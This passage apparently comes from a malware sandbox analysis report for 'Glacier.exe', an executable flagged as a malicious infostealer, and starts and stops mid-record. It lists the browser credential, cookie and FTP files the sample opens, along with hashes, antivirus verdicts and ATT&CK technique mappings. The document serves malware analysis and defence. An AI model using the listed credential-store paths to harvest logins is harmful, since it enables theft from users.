"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")62:T71e,"Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data-wal" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data-wal" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data For Account" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data For Account-wal"63:T143d,"Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\History" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\History-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\History" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\History-wal" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\pkcs11.txt" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\cert9.db" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\key4.db" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\logins.json" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\cookies.sqlite" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\pkcs11.txt" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\logins.json" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\key4.db" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\cookies.sqlite" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\FlashFXP\Sites.dat" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000004.log" "Glacier.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000005.ldb" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Local State" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data-wal" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account-wal" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies-wal" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data" "Glacier.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data-wal"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":88,"unified_at_epoch_ms":1790969295258,"unified_at":"2026-10-02T19:28:15.258Z","metadata":{"hashes":{"sha256":"8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","sha1":"74fcc1fb92e24319ac785375d905ee9b725c57e4","md5":"1bd88b143a4e82734ddd1748865dd0c5","sha512":"4dd6790f2cfc3503d11465c426bca6ab7793fb27694a3cb2f6615ee63a3535c9cda473e32253af75372be1e89d1145c72ae365ea5953510bc4cba61e1b4cc240","ssdeep":"49152:GJM5QOz+ScZph1pow5y3ogMGsySbM/DztvTdoER22NnBvUHu0YL04ZgPoIPdhVU:1ZkOtlIPPy","ssdeep_chunks":["49152:GJM5QOz","49152:JM5QOz+","49152:M5QOz+S","49152:5QOz+Sc","49152:QOz+ScZ","49152:Oz+ScZp","49152:z+ScZph","49152:+ScZph1","49152:ScZph1p","49152:cZph1po","49152:Zph1pow","49152:ph1pow5","49152:h1pow5y","49152:1pow5y3","49152:pow5y3o","49152:ow5y3og","49152:w5y3ogM","49152:5y3ogMG","49152:y3ogMGs","49152:3ogMGsy","49152:ogMGsyS","49152:gMGsySb","49152:MGsySbM","49152:GsySbM/","49152:sySbM/D","49152:ySbM/Dz","49152:SbM/Dzt","49152:bM/Dztv","49152:M/DztvT","49152:/DztvTd","49152:DztvTdo","49152:ztvTdoE","49152:tvTdoER","49152:vTdoER2","49152:TdoER22","49152:doER22N","49152:oER22Nn","49152:ER22NnB","49152:R22NnBv","49152:22NnBvU","49152:2NnBvUH","49152:NnBvUHu","49152:nBvUHu0","49152:BvUHu0Y","49152:vUHu0YL","49152:UHu0YL0","49152:Hu0YL04","49152:u0YL04Z","49152:0YL04Zg","49152:YL04ZgP","49152:L04ZgPo","49152:04ZgPoI","49152:4ZgPoIP","49152:ZgPoIPd","49152:gPoIPdh","49152:PoIPdhV","49152:oIPdhVU","98304:GJM5QOz","98304:JM5QOz+","98304:M5QOz+S","98304:5QOz+Sc","98304:QOz+ScZ","98304:Oz+ScZp","98304:z+ScZph","98304:+ScZph1","98304:ScZph1p","98304:cZph1po","98304:Zph1pow","98304:ph1pow5","98304:h1pow5y","98304:1pow5y3","98304:pow5y3o","98304:ow5y3og","98304:w5y3ogM","98304:5y3ogMG","98304:y3ogMGs","98304:3ogMGsy","98304:ogMGsyS","98304:gMGsySb","98304:MGsySbM","98304:GsySbM/","98304:sySbM/D","98304:ySbM/Dz","98304:SbM/Dzt","98304:bM/Dztv","98304:M/DztvT","98304:/DztvTd","98304:DztvTdo","98304:ztvTdoE","98304:tvTdoER","98304:vTdoER2","98304:TdoER22","98304:doER22N","98304:oER22Nn","98304:ER22NnB","98304:R22NnBv","98304:22NnBvU","98304:2NnBvUH","98304:NnBvUHu","98304:nBvUHu0","98304:BvUHu0Y","98304:vUHu0YL","98304:UHu0YL0","98304:Hu0YL04","98304:u0YL04Z","98304:0YL04Zg","98304:YL04ZgP","98304:L04ZgPo","98304:04ZgPoI","98304:4ZgPoIP","98304:ZgPoIPd","98304:gPoIPdh","98304:PoIPdhV","98304:oIPdhVU","49152:1ZkOtlI","49152:ZkOtlIP","49152:kOtlIPP","49152:OtlIPPy"],"imphash":"c2d457ad8ac36fc9f18d45bffcd450c2","pehash":"080a7005df282152d4dd5fc430321cfc0de3eadb"},"file_info":{"file_name":"8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":8629688,"entropy":5.28,"compile_timestamp":"1970-01-01T00:00:00","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1790968509000,"last_seen":1790969179000,"last_multi_scan":1790969179000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":8,"import_count":0,"export_count":0,"embedded_file_count":1,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":5264823,"raw_size":5264896},{"name":".rdata","virtual_address":"0x507000","virtual_size":3170928,"raw_size":3171328},{"name":".data","virtual_address":"0x80e000","virtual_size":623080,"raw_size":52736},{"name":".pdata","virtual_address":"0x8a7000","virtual_size":18300,"raw_size":18432},{"name":".xdata","virtual_address":"0x8ac000","virtual_size":180,"raw_size":512},{"name":".idata","virtual_address":"0x8ad000","virtual_size":1364,"raw_size":1536},{"name":".reloc","virtual_address":"0x8ae000","virtual_size":13192,"raw_size":13312},{"name":".symtab","virtual_address":"0x8b2000","virtual_size":96810,"raw_size":97280}],"section_names":[".text",".rdata",".data",".pdata",".xdata",".idata",".reloc",".symtab"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":88,"tags":["new_domain","infostealer","malicious","evasive"]},"stats":{"av":{"malicious_count":4,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":102},"sandbox_signatures":{"informative_count":234,"suspicious_count":11,"malicious_count":16,"total":261},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/Kryptik.ABY trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/WinGo.J.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_90%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","identifiers":[{"type":"informative","value":"May contain SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"malicious","value":"Recently registered domain detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"},{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Contains ability to access the loader directly (API string)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Calls an API typically used to create a thread in another process"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Able to perform anti-VM checks using CPUID"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API 